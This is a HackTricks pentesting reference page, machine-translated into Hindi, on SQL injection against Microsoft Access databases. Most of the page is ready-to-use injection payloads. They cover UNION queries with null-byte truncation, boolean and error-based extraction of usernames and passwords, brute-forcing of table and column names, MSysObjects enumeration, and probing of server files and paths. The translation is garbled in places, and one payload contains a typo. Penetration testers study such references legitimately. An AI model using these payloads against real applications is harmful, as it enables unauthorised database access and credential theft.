hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

19 KiB

MS Access SQL Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ऑनलाइन प्लेग्राउंड

डेटाबेस सीमाएं

स्ट्रिंग कनकटनेशन

स्ट्रिंग कनकटनेशन & (%26) और + (%2b) चरित्रों के साथ संभव है।

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

टिप्पणियाँ

MS एक्सेस में कोई टिप्पणी नहीं होती है, लेकिन दिखता है कि एक क्वेरी को एक NULL चार के साथ हटाना संभव है:

1' union select 1,2 from table%00

यदि यह काम नहीं कर रहा है, तो आप हमेशा क्वेरी की सिंटैक्स को सही कर सकते हैं:

1' UNION SELECT 1,2 FROM table WHERE ''='

स्टैक्ड क्वेरी

वे समर्थित नहीं हैं।

सीमा

LIMIT ऑपरेटर लागू नहीं है। हालांकि, SELECT क्वेरी के परिणामों को पहले N टेबल पंक्तियों तक सीमित करना संभव है, TOP ऑपरेटर का उपयोग करके। TOP एक पूर्णांक को एक तार्किक मान के रूप में स्वीकार करता है, जो पंक्तियों की संख्या को प्रतिष्ठान करता है जो वापस की जाएगी।

1' UNION SELECT TOP 3 attr FROM table%00

टॉप की तरह आप LAST का उपयोग कर सकते हैं जो अंत से पंक्तियों को प्राप्त करेगा।

यूनियन क्वेरी/सब क्वेरी

SQLi में आप आमतौर पर किसी नई क्वेरी को कैसे निष्पादित करेंगे ताकि आप अन्य तालिकाओं से जानकारी निकाल सकें। MS Access हमेशा यह आवश्यक करता है कि सबक्वेरी या अतिरिक्त क्वेरी में FROM दिखाया जाए। तो, यदि आप UNION SELECT या UNION ALL SELECT या एक स्थिति में ब्रैकेट के बीच SELECT निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM दिखाना होगा। इसलिए, आपको एक मान्य तालिका नाम को जानने की आवश्यकता होगी।

-1' UNION SELECT username,password from users%00

बराबरी + उपस्थिति का जोड़ना

{% hint style="warning" %} इससे आपको वर्तमान तालिका के मानों को नाम के बिना जाने बाहर निकालने की अनुमति मिलेगी। {% endhint %}

MS Access ऐसी अजीब सिंटैक्स की अनुमति देता है जैसे '1'=2='3'='asd'=false। जैसा कि सामान्यतः SQL इंजेक्शन WHERE क्लॉज में होगा, हम इसका दुरुपयोग कर सकते हैं।

सोचिए आपके पास एक MS Access डेटाबेस में SQLi है और आपको (या आपने अनुमान लगाया है) पता है कि एक कॉलम का नाम username है, और यही फ़ील्ड आप बाहर निकालना चाहते हैं। आप बराबरी की तकनीक का उपयोग करके वेब ऐप के विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब बूलियन इंजेक्शन का उपयोग किया जाता है और Mid फ़ंक्शन का उपयोग करके उपस्थिति को प्राप्त कर सकते हैं।

'=(Mid(username,1,3)='adm')='

यदि आपको टेबल का नाम और कॉलम ज्ञात है, तो आप Mid, LAST और TOP के बीच का संयोजन का उपयोग करके बूलियन SQLi के माध्यम से सभी जानकारी लीक कर सकते हैं:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए स्वतंत्र महसूस करें।

टेबल नामों को ब्रूटफोर्स करना

चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस तरह से टेबल नामों को ब्रूटफोर्स कर सकते हैं:

'=(select+top+1+'lala'+from+<table_name>)='

आप एक और पारंपरिक तरीका भी उपयोग कर सकते हैं:

-1' AND (SELECT TOP 1 <table_name>)%00

ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए मुक्त महसूस करें।

कॉलम नामों को ब्रूट-फोर्स करना

आप वर्तमान कॉलम नामों को ब्रूट-फोर्स कर सकते हैं चेनिंग बराबर ट्रिक के साथ:

'=column_name='

या एक ग्रुप द्वारा:

-1' GROUP BY column_name%00

या आप इसके साथ एक अलग तालिका के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

डेटा निकालना

हम पहले से ही बराबरी तकनीक को जोड़ने की तकनीक की चर्चा कर चुके हैं वर्तमान और अन्य तालिकाओं से डेटा निकालने के लिए। लेकिन इसके अलावा भी और तरीके हैं:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

संक्षेप में, क्वेरी में "अगर-तो" कथन का उपयोग करके सफलता के मामले में "200 OK" को ट्रिगर करने या अन्यथा "500 आंतरिक त्रुटि" को ट्रिगर करने के लिए किया जाता है। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST के बाद का उपयोग करके केवल 10वें टपल को विचार करने की अनुमति होती है। इस प्रकार के मान पर, MID ऑपरेटर का उपयोग करके एक सरल वर्ण तुलना करना संभव होता है। MID और TOP के सूचकांक को ठीक से बदलकर, हम सभी पंक्तियों के लिए "उपयोगकर्ता नाम" क्षेत्र की सामग्री डंप कर सकते हैं।

समय आधारित

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN पर जांच करें

अन्य दिलचस्प फ़ंक्शन

  • Mid('admin',1,1) पद 1 लंबाई 1 से उपस्थिति से उपस्थिति लाने के लिए उपस्थिति से उपस्थिति लाने के लिए उपयोग करें (प्रारंभिक स्थान 1 है)
  • LEN('1234') स्ट्रिंग की लंबाई प्राप्त करें
  • ASC('A') चार के ASCII मान प्राप्त करें
  • CHR(65) ASCII मान से स्ट्रिंग प्राप्त करें
  • IIF(1=1,'a','b') अगर तो
  • COUNT(*) आइटमों की संख्या की गणना करें

सारणीबद्धीकरण

यहां से यहां आप टेबल के नाम प्राप्त करने के लिए एक क्वेरी देख सकते हैं:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

यहां ध्यान दें कि आपको ऐसे SQL Injections भी मिल सकते हैं जहां आपको टेबल MSysObjects को पढ़ने का एक्सेस नहीं होता है।

FileSystem एक्सेस

वेब रूट डायरेक्टरी का पूरा पथ

वेब रूट एक्सेस पथ की जानकारी आगे के हमलों को सुगम बना सकती है। यदि एप्लिकेशन त्रुटियों को पूरी तरह से छिपाया नहीं जाता है, तो डायरेक्टरी पथ को अनदेखा करने के लिए अस्तित्वहीन डेटाबेस से डेटा का चयन करने का प्रयास किया जा सकता है।

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access एक त्रुटि संदेश द्वारा वेब डायरेक्टरी पूरा पथनाम के साथ प्रतिक्रिया करता है।

फ़ाइल गणना

निम्नलिखित हमला वेक्टर का उपयोग करके दूरस्थ फ़ाइल सिस्टम पर फ़ाइल के अस्तित्व का अनुमान लगाया जा सकता है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक त्रुटि संदेश ट्रिगर करता है जिसमें बताया जाता है कि डेटाबेस प्रारूप अमान्य है:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

फ़ाइलों की गणना करने का एक और तरीका डेटाबेस.टेबल आइटम को निर्दिष्ट करने में समारोहित है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb फ़ाइल का नाम अनुमान

निम्नलिखित क्वेरी का उपयोग करके डेटाबेस फ़ाइल का नाम (.mdb) अनुमान लगाया जा सकता है:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

यहां name[i] एक .mdb फ़ाइलनाम है और realTable डेटाबेस के भीतर मौजूद एक मान्य टेबल है। MS Access हमेशा एक त्रुटि संदेश ट्रिगर करेगा, लेकिन एक अमान्य फ़ाइलनाम और एक मान्य .mdb फ़ाइलनाम के बीच अंतर को पहचाना जा सकता है।

.mdb पासवर्ड क्रैकर

Access PassView एक मुफ्त उपयोगीता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनर्प्राप्त करने के लिए किया जा सकता है।

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥